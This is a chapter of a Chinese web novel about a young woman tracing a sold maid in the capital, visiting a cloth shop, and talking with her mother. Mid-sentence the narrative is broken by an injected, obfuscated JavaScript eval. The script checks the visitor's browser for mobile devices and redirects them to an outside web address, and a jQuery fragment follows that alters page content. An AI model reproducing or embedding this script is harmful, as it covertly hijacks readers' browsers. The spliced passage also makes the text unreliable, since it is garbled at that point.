从牙婆子那里打听到鸢儿的下落后,林清意没有着急去找人,打发走牙婆子后,她叫来等待在外的平子,交代了他几句,继续在雅间里喝茶。
脑子里却想着牙婆子刚刚说的话。
“一开始刚到我手里时犟的很,见天的吵着要回原来主子那里,本来还有不少人家看中她年轻,又是大户人家出来,行事必定妥当,就想着买回家,可一看到她寻死觅活的样,谁还愿意买啊,就这样吵啊闹啊的过了几个月,她不知道怎么的突然安静下来了,也不吵着要回去了。”
那时的鸢儿应该是收到自己的死讯,所以才彻底放弃希望了吧。
林清意只觉得今天的茶水格外的苦涩,这茶水甚至能顺着喉咙蔓延到胸口,心中都弥漫着苦涩。
等平子走后,桃儿看着自己家小姐喝水发呆,等了一会再也掩饰不住了,仰着红彤彤的小脸求夸奖,“小姐,我刚刚做得怎么样?”
林清意回过神来,放下茶杯,夸道:“非常厉害。”很会端水,转头对竹影道,“你也是,做得很好。”
竹影被夸了也很高兴,但是到底比桃儿稳重一点,她迟疑问道:“您......为什么要我们两个演这场戏?对待这种人,直接给钱就可以了吧?”
林清意说:“直接塞钱也不是不行,但是像她们这种人,胃口一向大的吓人,又狡猾,要是被她看出你的在乎和迫切,她肯定会为了多要点钱在这件事上动点小手脚,虽然不会影响什么,但是到底烦人。”
还有一点林清意没有说的是,她到底是一个现代人,看不惯这个世界的人口买卖行当,虽然她没办法改变什么,但是让她往这些人手里大把大把的送钱,她也是不愿意的。
桃儿和竹影到底还小,两人似懂非懂地点了点头,没有继续追问下去。
又坐了大概半炷香时间,林清意带着两人去街上逛了逛。
这条街多是一些茶馆酒楼,看起来繁华,路上人却不是很多,三人刚刚吃了点心,也没心思去吃饭,林清意对这里也不是很熟悉,但是到底在京城多待了几年,带着两人三两下,转到了另一条街。
这一条街就热闹很多了,多是临街的铺子,很少见有二楼的店面。
各式各样的铺子,有卖吃食的,有卖金银首饰的,她们还遇到一间看起来比别人家大了差不多一倍的杂货铺。
桃儿正兴致勃勃的看着两边的铺子,这里卖的东西和她们江南格外不同,她不小心看花了眼,走了好远才发现林清意在了一家名叫“华绣庄”的布庄前面停下来脚步。
她连忙往回走,以为自家小姐是对这家布料感兴趣,于是问道:“小姐,我们进去看看?”
林清意点了点头,举步朝布庄走去,里面空间还算宽敞,入目皆是各色布料,柜面上还放着几件成衣,皆是颜色鲜艳的春衫,店里除了林清意三人外,还有一个妇人带着一个仆从和一个十五六岁的姑娘,那些春衫想来就是帮那姑娘挑的。
小姑娘明显兴致不高,噘着嘴不理人。
有伙计迎了上来,“这位客官,是想买成衣还是布料?京城里各种时兴的布料咱们店里都有。”
林清意回道:“我自己看看。”
“好嘞,有事您吩咐。”伙计也不跟着,停在几步外。
林清意在布庄转了一圈,细细看了不少样式,前厅里小姑娘还在和她母亲闹别扭。
妇人无奈道:“我的小祖宗,今天特意带你出来买衣裳,看了这么多,就没有一件能看上的?”
“你明明知道我不是因为这个。”小姑娘终于肯转头看她母亲,“我不想去见他。”
“不行,你父亲不会答应的。”看起来好脾气的妇人强硬地拒绝了。
小姑娘看到一向宠着自己的娘亲都这样了,知道事情没有了回转的余地,憋在眼眶里的泪珠终是没忍住,断了线一般纷纷滑落。
她不想服软,不想被自己娘亲看到这副样子,转过身子,胡乱指了一件成衣,“不看了,我就要这件!”
看女儿松口,那妇人却不见开心,反而眉间皱痕加深,叹了口气,对站在一旁的伙计道:“就这一件吧。”
伙计连忙拿着那件桃红色春衫去结账,没想到掌柜抬头看了一眼那件春衫,开口训斥道:“这是谁摆上来?”
伙计莫名被凶了,也很无辜,“是这位夫人要的。”
掌柜瞪了伙计一眼,连忙过来解释,“这位夫人,实在抱歉,店里伙计笨手笨脚的,这件衣裳已经被其他人定下了,您要不再挑一挑其他的?”
妇人脾气确实不错,没有生气,只是问道:“一般成衣不都是会多备几件吗?都被定下来了?”
掌柜道:“实不相瞒,店里只此一件。”
妇人也没有为难掌柜,转而对女儿道:“娇娇,再选一件其他的吧。”
“既然都不能遂我愿,那选哪件又有什么区别?我不选,你自己选吧!”说完气哄哄地出了门。
“实在......”
“没事。”妇人打断掌柜歉意的话,指着刚刚拿出来的那几件春衫说道:“就要那件桃红和那件鹅黄的。”
送走那位妇人,掌柜又训斥了几句拿衣服的伙计,亲自将那件桃红色衣裳送去了后堂。
伙计不服气,等他走后,小声嘀咕,“和我有什么关系,就知道骂我。”
掌柜走得快来得也快,伙计刚刚在背后嘀咕过他,一时没有收住表情,连忙转向角落里假装看布料的林清意,招呼道:“需要帮您介绍一下吗?”
“不用。”林清意摇了摇头,反而询问掌柜,“刚刚那件衣服我看着也觉得不错,能不能定做一件。”
“不瞒您说,这件衣裳是主家安排绣娘特意做的,布料和样式都是独一份的,没有上头吩咐,店里是不能做第二件的。”掌柜无奈道,开门做生意那么多年,他还是头一次像今天这样,将客人往外赶的,心里也很不舒服,送上门的钱,偏偏赚不到。
“既然如此,那就不勉强了。”林清意没有多说,点了点头,出了布庄。
掌柜松了口气,还好今天遇到的两个客人都是好脾气,不爱跟人计较的。
出了铺子,桃儿才开口感叹:“好多以前没见过的花色和布料哦!怪不得大家都说京城繁华,好东西确实多。”
旁边竹影也点头附和:“看起来京城人和我们江南喜好的颜色不尽相同。”
显然,她们都没有把刚刚那件小事放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206355|197357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在心上,出了门转身就忘记了。
林清意没有多说什么,带着兴致高昂的两人又转了一圈,最后又绕回了酒楼,平子已经准备好马车在楼下等着了。
林清意没有进马车就站在一旁听平子打听到的消息。
“我按您吩咐去甜水巷那里转了一遭,那一块大多都是祖上就居住在京城的,邻里邻居都是熟人,我随便找了户人家就问到了,确实有这么一户姓朱的人家,就在巷口第二家,家中只有两口人,生活比较困苦。”
“听那邻居说,现在朱家当家是个读书人,非常孝顺,朱母身体不好,三个月前他就买了个人来照顾朱母。”
“为了避免惊扰到朱家,其他的我就没敢多问。”
“你做得很好。”林清意接过旁边竹影递过来的荷包,抓了一大把铜钱塞给平子,“这件事就没必要说出来烦老爷夫人了。”
给主子跑腿这事,平子也没少做,而且只不过是去打听一个被卖的姑娘,又不是什么大事,他自然没必要和林清意唱反调,连忙收了铜钱应下。
林清意也不过是顺势而为罢了,多一事不如少一事,她倒是不怕被发现,不过即使是被家里人知道,她也有借口应付过去。
时间,地点,和人家都和之前牙婆子说的对得上,看来人确实是被卖到甜水巷了,要尽快找个时间亲自去一趟,想办法把人赎回来。
不知道她这段时间过得怎么样......
“小姐,天色不早了,我们该回去了。”旁边竹影出声打断了她的沉思。
林清意抬眸看了一眼已经偏西的日头,说道:“回去吧。”
三人坐上马车,平子甩起鞭子虚空一鞭,架着马车就往回赶。
......
回到林府,太阳将落未落,只余红紫交错的晚霞挂在天边,遮住了最后一丝落日的身影。
小院里,林清意刚刚进屋坐下,林母就进了门。
自从林清意醒来后,冯云心也放下了大半,特别是看着女儿能吃能睡,伤口一天天愈合,外面丈夫也成功上任,堂前院后虽然还有不少琐碎小事需要操心,但是到底不会整日担惊受怕,寝食难安。
养了大半个月,精神见好,虽然算不上光彩照人,但是从内而外散发出来的和煦和温柔,是任谁都比不了的。
“囡囡。”冯云坐在一旁,问道:“出去玩的开心吗?”
林清意一愣,还以为冯云过来是责问她没打招呼就贸然出门,没想到没有指责,只是关心她开不开心,她收敛诧异的神情,斟酌道:“外面很热闹,我很喜欢,还给您带了糕点回来。”
“开心就好,出门玩要注意伤口,可别碰到了。”这些话她平时没少说,知道女儿一直都放在心上,也不多叮嘱,拍了拍林清意的手,说起其他的,“京城可真大,娘前两天去你父亲旧友家里拜访,好多东西都不懂呢。”
林清意顺着她的话接下去,“是啊,京城可大了,好多东西我都没见过呢。”
林清意感受着手背上的温热,不知道为什么,每次待在冯云身边,她心里总是能感到异常的平静,让她忍不住想放松警惕,不想伪装,不想掩饰,就静静地待在她身边,享受这一刻难得的温情。